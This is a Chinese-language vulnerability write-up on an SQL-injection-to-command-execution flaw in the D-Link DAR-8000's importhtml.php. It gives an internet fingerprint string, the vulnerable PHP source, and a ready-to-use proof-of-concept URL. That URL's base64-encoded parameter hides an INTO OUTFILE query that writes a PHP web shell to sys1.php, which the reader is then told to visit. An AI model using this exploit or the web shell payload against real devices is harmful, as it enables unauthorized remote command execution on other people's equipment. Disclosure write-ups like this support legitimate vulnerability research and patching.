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D-Link DAR-8000 importhtml.php 远程命令执行漏洞

# D-Link DAR-8000 importhtml.php 远程命令执行漏洞 ## 漏洞描述 D-Link DAR-8000 importhtml.php文件存在SQL注入导致远程命令执行漏洞 ## 漏洞影响 D-Link DAR-8000 ## 网络...

D-Link DAR-8000 importhtml.php 远程命令执行漏洞
=======================================

漏洞描述
----

D-Link DAR-8000 importhtml.php文件存在SQL注入导致 远程命令执行漏洞

漏洞影响
----

D-Link DAR-8000

网络测绘
----

body="mask.style.visibility"

漏洞复现
----

登录页面

![img](https://shs3.b.qianxin.com/butian_public/f656476bb9d66935928f8b87264d65c0fde0899b89cd3.jpg)

出现漏洞的文件 `importhtml.php`

```php
<?php 
include_once("global.func.php");
if($_SESSION['language']!="english")
{
    require_once ("include/language_cn.php");
}
else 
{
    require_once ("include/language_en.php");
}

if(isset($_GET['type'])) $get_type = $_GET['type'];
if(isset($_GET['tab'])) $get_tab = $_GET['tab'];
if(isset($_GET['sql'])) $get_sql = $_GET['sql'];

if($get_type == "exporthtmlpost")   
{
    $get_tab = $arr_export_cn[$get_tab];
    exportHtml("$get_tab",stripslashes(base64_decode($get_sql)));
}
elseif($get_type == "exporthtmlchat")   
{
    $get_tab = $arr_export_cn[$get_tab];
    exportHtmlChat("$get_tab",stripslashes(base64_decode($get_sql)));
}
elseif($get_type == "exporthtmlmail")   
{
    $get_tab = $arr_export_cn[$get_tab];
    exportHtmlMail("$get_tab",stripslashes(base64_decode($get_sql)));
}
elseif($get_type == "exporthtmlwebsend")    
{
    $get_tab = $arr_export_cn[$get_tab];
    exportHtmlWebSend("$get_tab",stripslashes(base64_decode($get_sql)));
}
elseif($get_type == "exporthtmlwebrecv")    
{
    $get_tab = $arr_export_cn[$get_tab];
    exportHtmlWebRecv("$get_tab",stripslashes(base64_decode($get_sql)));
}
?>
```

跟踪exportHtmlMail函数

```php
function exportHtmlMail($filename,$sql){

Header( "Expires: 0" );

Header( "Pragma: public" );

Header( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );

Header( "Cache-Control: public");

Header( "Content-Type: application/octet-stream" );

header("Accept-Ranges: bytes");

header("Content-Disposition: attachment; filename=$filename.html");

echo "<html>\n";

echo "<head><title>报表</title></head>\n";

echo "<body>\n";

$conn = connOther();

$result = mysql_query($sql,$conn);

while ($data= mysql_fetch_array($result)){

$post_content = "";

if($data['mail_file_path'] == "(null)"){

$post_content = "<font color=red>内容审计未启用</font>";

}

else{

$post_filename=$data['mail_file_path'];

$ifother = "";

$ifother = ifExistOther($post_filename);

if($ifother!=""){

$post_filename = $ifother;

}

$str = "/usr/bin/cap2con $post_filename pop";

system($str,$returnvalue);

$post_filename=str_replace(".cap",".eml",$post_filename);

$post_content = file_get_contents($post_filename);

$rec=new mime_decode;

$post_content=$rec->decode_mime_string($post_content);

//...

}

}
```

这里可以发现通过base64解码后执行的Sql语句结果传入函数exportHtmlMail中调用system执行, 而 $post\_filename 可控

```php
$str = "/usr/bin/cap2con $post_filename pop";
```

验证POC

```plain
https://xxx.xxx.xxx.xxx/importhtml.php?type=exporthtmlmail&tab=tb_RCtrlLog&sql=c2VsZWN0IDB4M2MzZjcwNjg3MDIwNjU2MzY4NmYyMDczNzk3Mzc0NjU2ZDI4MjQ1ZjUwNGY1MzU0NWIyMjYzNmQ2NDIyNWQyOTNiM2YzZSBpbnRvIG91dGZpbGUgJy91c3IvaGRkb2NzL25zZy9hcHAvc3lzMS5waHAn
```

访问成功后会触发下载日志文件，再访问 sys1.php

![img](https://shs3.b.qianxin.com/butian_public/f634958b680b8c9a0e223fe67b5b29ef6286807b0bb52.jpg)

发表于 2024-07-12 18:49:23
阅读 ( 913 )
分类：网络设备

D-Link DAR-8000 importhtml.php 远程命令执行漏洞

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